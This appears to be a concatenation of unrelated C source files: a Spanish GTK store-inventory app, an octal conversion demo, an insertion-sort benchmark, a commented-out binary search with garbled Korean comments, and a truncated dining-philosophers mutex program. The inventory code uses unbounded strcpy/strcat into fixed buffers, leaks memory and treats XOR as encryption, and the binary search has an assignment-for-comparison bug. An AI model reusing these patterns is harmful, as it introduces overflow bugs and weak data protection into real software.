free(dec);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void buscarIdMayor( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char*** dec = searchGreater(root,key);
if(dec)
printBuscar(NULL,dec);
else
key_not_found(NULL,NULL);
free(dec);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void buscarTextoParcial( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char*** dec = searchPartialMatch(root,key);
if(dec)
printBuscar(NULL,dec);
else
key_not_found(NULL,NULL);
free(key);
free(dec);
}
/*
Function that handles the data of an input field, receives data Gtkwidget and returns nothing.
*/
static void buscarTextoExacto( GtkWidget *widget,
GtkWidget **entry )
{
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char*** dec = searchStr(root,key);
if(dec)
printBuscar(NULL,dec);
else
key_not_found(NULL,NULL);
free(dec);
}
/*
Function that displays the product auxiliary search window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void buscar_producto_otro(GtkWidget *widget, gpointer data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Buscar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
GtkWidget** entries = malloc(1*sizeof(GtkWidget*));
GtkWidget *textoID;
textoID = gtk_label_new ("Texto");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 0, 1, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 1, 0, 1, 1);
button = gtk_button_new_with_label ("Texto exacto");
g_signal_connect (button, "clicked", G_CALLBACK (buscarTextoExacto), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 1, 1);
button = gtk_button_new_with_label ("Subtexto");
g_signal_connect (button, "clicked", G_CALLBACK (buscarTextoParcial), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 1, 2, 1, 1);
gtk_widget_show_all (window);
}
/*
Function that displays the product auxiliary search window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void buscar_producto_id(GtkWidget *widget, gpointer data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Buscar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
GtkWidget** entries = malloc(1*sizeof(GtkWidget*));
GtkWidget *textoID;
textoID = gtk_label_new ("ID");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 0, 1, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 1, 0, 1, 1);
button = gtk_button_new_with_label ("ID exacto");
g_signal_connect (button, "clicked", G_CALLBACK (buscarIdExacto), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 1, 1);
button = gtk_button_new_with_label ("ID <=");
g_signal_connect (button, "clicked", G_CALLBACK (buscarIdMenor), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 1, 2, 1, 1);
button = gtk_button_new_with_label ("ID >=");
g_signal_connect (button, "clicked", G_CALLBACK (buscarIdMayor), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 2, 2, 1, 1);
gtk_widget_show_all (window);
}
/*
Function that displays the product search window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void buscar_producto(GtkWidget *widget, gpointer user_data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Buscar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("ID");
g_signal_connect (button, "clicked", G_CALLBACK (buscar_producto_id), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 1, 2, 1);
button = gtk_button_new_with_label ("Otra");
g_signal_connect (button, "clicked", G_CALLBACK (buscar_producto_otro), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 2, 1, 2, 1);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("Buscar por");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 4, 1);
gtk_widget_show_all (window);
}
/*
Function that encrypts a message with a key, receives data of type *char and returns another *char.
*/
static char *xorencrypt(char *message, char *key) {
size_t messagelen = strlen(message);
size_t keylen = strlen(key);
char *encrypted = malloc(messagelen+1);
int i;
for(i = 0; i < messagelen; i++) {
encrypted[i] = message[i] ^ key[i % keylen];
}
encrypted[messagelen] = '\0';
return encrypted;
}
/*
Function that handles the data of an input field and desencrypts it, receives data Gtkwidget and returns nothing.
*/
static void procInicio(char **entry_text) {
root = NULL;
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
FILE *in_file = fopen(key, "r"); // write only
// test for files not existing.
if (in_file == NULL)
{
printf("Archivo no presente\n");
file_not_found();
free(key);
return;
}
char* entrada = (char*)malloc(1024*sizeof(char));
char** aAgregar = (char**)malloc(5*sizeof(char*));
*aAgregar = (char*)malloc(1024*sizeof(char));
*(aAgregar+1) = (char*)malloc(1024*sizeof(char));
*(aAgregar+2) = (char*)malloc(1024*sizeof(char));
*(aAgregar+3) = (char*)malloc(1024*sizeof(char));
*(aAgregar+4) = (char*)malloc(1024*sizeof(char));
int i=0;
while(fgets(entrada, 1024,in_file)){
for (int j = 0; *(entrada+j)!='\0'; ++j)
{
if(*(entrada+j)=='\n') {
*(entrada+j)='\0';
j--;
}
}
strcpy(*(aAgregar+i),entrada);
if(i==4)
insert(&root,aAgregar,*aAgregar);
i=(i+1)%5;
}
fclose(in_file);
free(entrada);
free(key);
// write to file vs write to screen
}
/*
Function that handles the data of an input field and desencrypts it, receives data Gtkwidget and returns nothing.
*/
static void procDesencriptar(GtkWidget *widget, GtkWidget **entry) {
root = NULL;
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
FILE *in_file = fopen(key, "r"); // write only
// test for files not existing.
if (in_file == NULL)
{
printf("Error! Could not open file\n");
free(key);
return;
}
char* entrada = (char*)malloc(1024*sizeof(char));
char** aAgregar = (char**)malloc(5*sizeof(char*));
*aAgregar = (char*)malloc(1024*sizeof(char));
*(aAgregar+1) = (char*)malloc(1024*sizeof(char));
*(aAgregar+2) = (char*)malloc(1024*sizeof(char));
*(aAgregar+3) = (char*)malloc(1024*sizeof(char));
*(aAgregar+4) = (char*)malloc(1024*sizeof(char));
int i=0;
while(fgets(entrada, 1024,in_file)){
for (int j = 0; *(entrada+j)!='\0'; ++j)
{
if(*(entrada+j)=='\n') {
*(entrada+j)='\0';
j--;
}
}
strcpy(*(aAgregar+i),entrada);
if(i==4)
insert(&root,aAgregar,*aAgregar);
i=(i+1)%5;
}
fclose(in_file);
free(entrada);
free(key);
// write to file vs write to screen
}
/*
Function that displays the upload window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void cargar(GtkWidget *widget, gpointer user_data)
{
printf ("Seguro de que quieres borrar tus datos actuales y cargar desde un archivo?\n");
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Estas seguro?");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
GtkWidget** entries = malloc(1*sizeof(GtkWidget*));
button = gtk_button_new_with_label ("Si");
g_signal_connect (button, "clicked", G_CALLBACK (procDesencriptar), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 2, 1);
button = gtk_button_new_with_label ("No");
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 2, 2, 2, 1);
GtkWidget *textoID;
textoID = gtk_label_new ("Nombre archivo");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 1, 2, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 2, 1, 2, 1);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("Seguro de que quieres borrar tus datos actuales y cargar desde un archivo?");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 4, 1);
gtk_widget_show_all (window);
}
/*
Function that handles the data of an input field and writes a file, receives data Gtkwidget and returns nothing.
*/
static void guardarReporte(GtkWidget *widget, GtkWidget **entry) {
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
char*** dec = guardarArbol(root);
FILE *out_file = fopen(key, "w"); // write only
// test for files not existing.
if (out_file == NULL)
{
printf("Error! Could not open file\n");
free(key);
return;
}
while(*dec){
for (int i = 0; i < 5; ++i)
{
fprintf(out_file, "%20s\t", *((*dec)+i)); // write to file
fprintf(stdout, "%20s\t", *((*dec)+i)); // write to screen
}
dec++;
fprintf(out_file, "\n"); // write to file
fprintf(stdout, "\n"); // write to screen
}
fclose(out_file);
free(key);
// write to file vs write to screen
}
/*
Function that handles the data of an input field and writes a file, receives data Gtkwidget and returns nothing.
*/
static void guardarFinal(GtkWidget *widget, gchar **entry_text) {
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
strcat(key,".adob");
char*** dec = guardarArbol(root);
if(dec)
{
FILE *out_file = fopen(key, "w"); // write only
// test for files not existing.
if (out_file == NULL)
{
printf("Error! Could not open file\n");
free(key);
return;
}
while(*dec){
for (int i = 0; i < 5; ++i)
{
char *entrada = *((*dec)+i);
fprintf(out_file, "%s\n", entrada); // write to file
fprintf(stdout, "%s\n", entrada); // write to screen
free(entrada);
}
dec++;
}
fclose(out_file);
// write to file vs write to screen
}
else{
FILE *out_file = fopen(key, "w"); // write only
fprintf(out_file, "\n"); // write to file
fclose(out_file);
}
free(key);
}
/*
Function that handles the data of an input field and writes a file, receives data Gtkwidget and returns nothing.
*/
static void guardarEncriptado(GtkWidget *widget, GtkWidget **entry) {
const gchar **entry_text = malloc(1*sizeof(gchar*));
for (int i = 0; i < 1; ++i)
{
*(entry_text+i) = gtk_entry_get_text (GTK_ENTRY (*(entry+i)));
printf ("Entry contents: %s\n", *(entry_text+i));
}
char* key = (char*)(malloc(sizeof(char)*1024));
strcpy(key,*entry_text);
strcat(key,".adob");
char*** dec = guardarArbol(root);
if(dec){
FILE *out_file = fopen(key, "w"); // write only
// test for files not existing.
if (out_file == NULL)
{
printf("Error! Could not open file\n");
free(key);
return;
}
while(*dec){
for (int i = 0; i < 5; ++i)
{
char *entrada = *((*dec)+i);
fprintf(out_file, "%s\n", entrada); // write to file
fprintf(stdout, "%s\n", entrada); // write to screen
free(entrada);
}
dec++;
}
fclose(out_file);
// write to file vs write to screen
}
free(key);
}
/*
Function that displays the save window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void guardar(GtkWidget *widget, gpointer user_data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Guardar");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
GtkWidget** entries = malloc(1*sizeof(GtkWidget*));
GtkWidget *textoID;
textoID = gtk_label_new ("Nombre archivo");
gtk_grid_attach (GTK_GRID (grid), textoID, 0, 0, 1, 1);
*(entries+0) = gtk_entry_new();
gtk_entry_set_max_length (GTK_ENTRY (*(entries+0)),1024);
gtk_grid_attach (GTK_GRID (grid), *(entries+0), 1, 0, 1, 1);
button = gtk_button_new_with_label ("Reporte");
g_signal_connect (button, "clicked", G_CALLBACK (guardarReporte), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 1, 1);
button = gtk_button_new_with_label (".adob");
g_signal_connect (button, "clicked", G_CALLBACK (guardarEncriptado), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 1, 2, 1, 1);
gtk_widget_show_all (window);
}
/*
Function that displays the administrative tools window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void administrativas(GtkWidget *widget, gpointer user_data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Buscar producto");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("Guardar");
g_signal_connect (button, "clicked", G_CALLBACK (guardar), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 1, 2, 1);
button = gtk_button_new_with_label ("Cargar");
g_signal_connect (button, "clicked", G_CALLBACK (cargar), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 2, 1, 2, 1);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("Herramientas administrativas");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 4, 1);
gtk_widget_show_all (window);
}
int mandar = 0;
/*
Function that displays the auxiliary report export window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void reporteUno( GtkWidget *widget,
gpointer data)
{
int key = mandar;
printf("%d\n", key);
char*** entradasReporte = reporteSwitch(root,key);
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Reporte");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
int i = 1;
GtkWidget *confirmacionID;
GtkWidget *confirmacionProducto;
GtkWidget *confirmacionPrecioCompra;
GtkWidget *confirmacionPrecioVenta;
confirmacionID = gtk_label_new ("\tID\t");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, i, 1, 1);
confirmacionProducto = gtk_label_new ("\tProducto\t");
gtk_grid_attach (GTK_GRID (grid), confirmacionProducto, 2, i, 1, 1);
confirmacionPrecioCompra = gtk_label_new ("\tCantidad\t");
gtk_grid_attach (GTK_GRID (grid), confirmacionPrecioCompra, 4, i, 1, 1);
confirmacionPrecioVenta = gtk_label_new ("\tPrecio Venta\t");
gtk_grid_attach (GTK_GRID (grid), confirmacionPrecioVenta, 6, i, 1, 1);
i++;
while(entradasReporte && *entradasReporte){
confirmacionID = gtk_label_new (*((*entradasReporte)+0));
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, i, 2, 1);
confirmacionProducto = gtk_label_new (*((*entradasReporte)+1));
gtk_grid_attach (GTK_GRID (grid), confirmacionProducto, 2, i, 2, 1);
confirmacionPrecioCompra = gtk_label_new (*((*entradasReporte)+2));
gtk_grid_attach (GTK_GRID (grid), confirmacionPrecioCompra, 4, i, 2, 1);
confirmacionPrecioVenta = gtk_label_new (*((*entradasReporte)+3));
gtk_grid_attach (GTK_GRID (grid), confirmacionPrecioVenta, 6, i, 2, 1);
i++;
entradasReporte++;
}
button = gtk_button_new_with_label ("OK");
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 4, i, 4, 1);
gtk_widget_show_all (window);
}
static void mandar1(GtkWidget *widget, gpointer data) {
mandar = 1;
reporteUno(NULL,NULL);
}
static void mandar2(GtkWidget *widget, gpointer data) {
mandar = 2;
reporteUno(NULL,NULL);
}
static void mandar3(GtkWidget *widget, gpointer data) {
mandar = 3;
reporteUno(NULL,NULL);
}
static void mandar4(GtkWidget *widget, gpointer data) {
mandar = 4;
reporteUno(NULL,NULL);
}
static void mandar5(GtkWidget *widget, gpointer data) {
mandar = 5;
reporteUno(NULL,NULL);
}
static void mandar6(GtkWidget *widget, gpointer data) {
mandar = 6;
reporteUno(NULL,NULL);
}
static void mandar7(GtkWidget *widget, gpointer data) {
mandar = 7;
reporteUno(NULL,NULL);
}
static void mandar8(GtkWidget *widget, gpointer data) {
mandar = 8;
reporteUno(NULL,NULL);
}
/*
Function that displays the report export window, receives data of type gpointer and Gtkwidget and returns nothing.
*/
static void reporte(GtkWidget *widget, gpointer data) {
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
window = gtk_window_new (GTK_WINDOW_TOPLEVEL);
gtk_window_set_title (GTK_WINDOW (window), "Reporte");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
grid = gtk_grid_new ();
gtk_container_add (GTK_CONTAINER (window), grid);
GtkWidget *confirmacionID;
confirmacionID = gtk_label_new ("Reporte");
gtk_grid_attach (GTK_GRID (grid), confirmacionID, 0, 0, 8, 1);
button = gtk_button_new_with_label ("ID ascendente");
g_signal_connect (button, "clicked", G_CALLBACK (mandar1), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 1, 2, 1);
button = gtk_button_new_with_label ("ID descendente");
g_signal_connect (button, "clicked", G_CALLBACK (mandar2), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 2, 1);
button = gtk_button_new_with_label ("Producto ascendente");
g_signal_connect (button, "clicked", G_CALLBACK (mandar3), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 2, 1, 2, 1);
button = gtk_button_new_with_label ("Producto descendente");
g_signal_connect (button, "clicked", G_CALLBACK (mandar4), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 2, 2, 2, 1);
button = gtk_button_new_with_label ("Cantidad ascendente");
g_signal_connect (button, "clicked", G_CALLBACK (mandar5), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 4, 1, 2, 1);
button = gtk_button_new_with_label ("Cantidad descendente");
g_signal_connect (button, "clicked", G_CALLBACK (mandar6), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 4, 2, 2, 1);
button = gtk_button_new_with_label ("Precio venta ascendente");
g_signal_connect (button, "clicked", G_CALLBACK (mandar7), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 6, 1, 2, 1);
button = gtk_button_new_with_label ("Precio venta descendente");
g_signal_connect (button, "clicked", G_CALLBACK (mandar8), NULL);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
gtk_grid_attach (GTK_GRID (grid), button, 6, 2, 2, 1);
gtk_widget_show_all (window);
}
/*
Function that enables the application and creates the main window, receives data of type gpointer and Gtkapplication and returns nothing.
*/
static void activate (GtkApplication *app, gpointer user_data)
{
GtkWidget *window;
GtkWidget *grid;
GtkWidget *button;
/* create a new window, and set its title */
window = gtk_application_window_new (app);
gtk_window_set_title (GTK_WINDOW (window), "Ahuehuete v0.1 alpha: Tienda SAIMT");
gtk_container_set_border_width (GTK_CONTAINER (window), 10);
/* Here we construct the container that is going pack our buttons */
grid = gtk_grid_new ();
/* Pack the container in the window */
gtk_container_add (GTK_CONTAINER (window), grid);
button = gtk_button_new_with_label ("Agregar producto");
g_signal_connect (button, "clicked", G_CALLBACK (agregar_producto), NULL);
/* Place the first button in the grid cell (0, 0), and make it fill
* just 1 cell horizontally and vertically (ie no spanning)
*/
gtk_grid_attach (GTK_GRID (grid), button, 0, 0, 1, 1);
button = gtk_button_new_with_label ("Borrar producto");
g_signal_connect (button, "clicked", G_CALLBACK (borrar_producto), NULL);
/* Place the second button in the grid cell (1, 0), and make it fill
* just 1 cell horizontally and vertically (ie no spanning)
*/
gtk_grid_attach (GTK_GRID (grid), button, 1, 0, 1, 1);
button = gtk_button_new_with_label ("Editar producto");
g_signal_connect (button, "clicked", G_CALLBACK (editar_producto), NULL);
/* Place the second button in the grid cell (2, 0), and make it fill
* just 1 cell horizontally and vertically (ie no spanning)
*/
gtk_grid_attach (GTK_GRID (grid), button, 2, 0, 1, 1);
button = gtk_button_new_with_label ("Recuperar producto borrado");
g_signal_connect (button, "clicked", G_CALLBACK (reactivar_producto), NULL);
/* Place the second button in the grid cell (3, 0), and make it fill
* just 1 cell horizontally and vertically (ie no spanning)
*/
gtk_grid_attach (GTK_GRID (grid), button, 3, 0, 1, 1);
button = gtk_button_new_with_label ("Reporte");
g_signal_connect (button, "clicked", G_CALLBACK (reporte), NULL);
/* Place the first button in the grid cell (0, 1), and make it fill
* just 1 cells horizontally and 1 vertically
*/
gtk_grid_attach (GTK_GRID (grid), button, 0, 1, 1, 1);
button = gtk_button_new_with_label ("Buscar");
g_signal_connect (button, "clicked", G_CALLBACK (buscar_producto), NULL);
/* Place the first button in the grid cell (1, 1), and make it fill
* just 1 cells horizontally and 1 vertically
*/
gtk_grid_attach (GTK_GRID (grid), button, 1, 1, 1, 1);
button = gtk_button_new_with_label ("Herramientas administrativas");
g_signal_connect (button, "clicked", G_CALLBACK (administrativas), NULL);
/* Place the second button in the grid cell (2, 1), and make it fill
* just 2 cells horizontally and 1 vertically
*/
gtk_grid_attach (GTK_GRID (grid), button, 2, 1, 2, 1);
button = gtk_button_new_with_label ("Salir");
gchar **entries = (gchar**) malloc(sizeof(gchar*));
*entries = (gchar*)malloc(sizeof(gchar)*1024);
*entries="data";
g_signal_connect (button, "clicked", G_CALLBACK (guardarFinal), entries);
g_signal_connect_swapped (button, "clicked", G_CALLBACK (gtk_widget_destroy), window);
/* Place the Quit button in the grid cell (0, 2), and make it
* span 4 columns.
*/
gtk_grid_attach (GTK_GRID (grid), button, 0, 2, 4, 1);
/* Now that we are done packing our widgets, we show them all
* in one go, by calling gtk_widget_show_all() on the window.
* This call recursively calls gtk_widget_show() on all widgets
* that are contained in the window, directly or indirectly.
*/
gtk_widget_show_all (window);
gchar **entries2 = (gchar**) malloc(sizeof(gchar*));
*entries2 = (gchar*)malloc(sizeof(gchar)*1024);
*entries2="data.adob";
procInicio(entries2);
}
int main (int argc, char **argv)
{
GtkApplication *app;
int status;
app = gtk_application_new ("org.adf.tiendaSAIMT", G_APPLICATION_FLAGS_NONE);
g_signal_connect (app, "activate", G_CALLBACK (activate), NULL);
status = g_application_run (G_APPLICATION (app), argc, argv);
g_object_unref (app);
return status;
}
|
C
|
#include <stdio.h>
int
main(void)
{
int lower = 0; // FALSE
int in = 1234567890;
int ex = in;
char buf[50]; /* i never know how much to allocate */
char *out = &buf[49];
for (; in; in >>= 3) {
*--out = '0' + (in & 7);
}
printf("integer: '%i'\n", ex);
printf("calculated answer: '%s'\n", out);
printf("musl's answer: %o\n", ex);
return 0;
}
|
C
|
// Copyright (c) 2012 MIT License by 6.172 Staff
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
/* Typedefs */
typedef uint32_t data_t;
/* Insertion sort */
void isort(data_t *left, data_t *right) {
data_t *cur = left + 1;
while (cur <= right) {
data_t val = *cur;
data_t *index = cur - 1;
while (index >= left && *index > val) {
*(index + 1) = *index;
index--;
}
*(index + 1) = val;
cur++;
}
}
int main() {
const int N = 100000;
unsigned int seed = 1;
data_t * data = (data_t *) malloc(N * sizeof(data_t));
if (data == NULL) {
free(data);
printf("Error: not enough memory\n");
exit(-1);
}
int i, j;
for (j = 0; j < 10 ; j++) {
for (i = 0; i < N; i++) {
data[i] = rand_r(&seed);
// printf("%d ", data[i]);
}
// printf("\n");
isort(data, data + N - 1);
/*for (i = 0; i < N; i++) {
printf("%d ", data[i]);
}
printf("\n");*/
}
free(data);
printf("Done!\n");
return 0;
}
|
C
|
//#include <stdio.h>
//
//void main() {
// //迭, ʱȭ
// int arr[] = { 1, 7, 14, 17, 26, 59, 63, 77, 79, 87, 88, 90 };
// int lower = 1, higher = 12, m;
//
// printf("1. ã ϴ Ű : 77\n"); //Ű 77
//
// int key1 = 77; // ʱȭ
// int i1 = 0;
//
// while (lower <= higher) {
// m = (lower + higher) / 2;
// if (key1 > arr[m])
// lower = m + 1;
// else if (key1 = arr[m]) {
// i1 = m;
// break;
// }
// else if (key1 < arr[m])
// higher = m - 1;
// else;
// }
//
// if (i1 == 0)
// printf(" ش Ű ġ : arr[%d]\n\n", i1);
// else
// printf(" ش Ű ʽϴ.\n\n");
//
//
// printf("2. ã ϴ Ű : 15\n"); //Ű 15
//
// int key2 = 15; // ʱȭ
// int i2 = 0;
//
// while (lower <= higher) {
// m = (lower + higher) / 2;
// if (key2 > arr[m])
// lower = m + 1;
// else if (key2 = arr[m]) {
// i2 = m;
// break;
// }
// else if (key2 < arr[m])
// higher = m - 1;
//
// else;
// }
//
// if (i2 == 0)
// printf(" ش Ű ġ : arr[%d]\n\n", i2);
// else
// printf(" ش Ű ʽϴ.\n\n");
//}
|
C
|
/*
* @Website: https://ntutn.top
* @Date: 2019-12-11 00:46:25
* @LastEditors: zero
* @LastEditTime: 2019-12-11 18:44:43
* @Description: 哲学家进餐问题
* @FilePath: /os/philosopher/philosopher.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <pthread.h>
#include <unistd.h>
//哲学家数量
#define N 6
pthread_mutex_t mutexChopsticks[N];
int noodles;
pthread_mutex_t mutexNoodles;
/**
* @description:用于获取[a,b]之间随机数
* @param {int} 下界
* @param {int} 上界
* @return:
*/
int getRndNum(int a, int b)
{
return (rand() % (b - a + 1)) + a;
}
/**
* @description: 用于初始化
* @return: 是否成功
*/
bool init()
{
//面条总数
noodles = 100;
for (int i = 0; i < N; i++)
{
if (pthread_mutex_init(mutexChopsticks + i, NULL) != 0)
{
// 互斥锁初始化失败
return false;
}
}
if (pthread_mutex_init(&mutexNoodles, NULL) != 0)
{
// 互斥锁初始化失败
return false;
}
return true;
}
void *philosopher(void *id)
{
int philosopherId = *((int *)id);
int ated = 0;
while (true)
{
bool flag = false;
int lId = philosopherId;
int rId = (philosopherId + 1) % N;
if (lId > rId)
{
int tmp = lId;
lId = rId;
rId = tmp;
}
if (pthread_mutex_lock(&mutexChopsticks[lId]) != 0)
{
fprintf(stdout, "lock error!\n");
}
if (pthread_mutex_lock(&mutexChopsticks[rId]) != 0)
{
fprintf(stdout, "lock error!\n");
}
if (pthread_mutex_lock(&mutexNoodles) != 0)
{
fprintf(stdout, "lock error!\n");
}
if (noodles > 0)
{
usleep(getRndNum(10000, 50000));
noodles--;
printf("哲学家#%d吃了一根面条,剩余面条%d根。\n", philosopherId, noodles);
ated++;
}
else
{
flag = true;
}
pthread_mutex_unlock(&mutexNoodles);
pthread_mutex_unlock(&mutexChopsticks[rId]);
pthread_mutex_unlock(&mutexChopsticks[lId]);
if (flag)
{
break;
}
usleep(getRndNum(10000, 50000));
}
printf("哲学家#%d一共吃了%d根面条。\n", philosopherId, ated);
}
int main()
{
if (!init())
{
return 1;
}
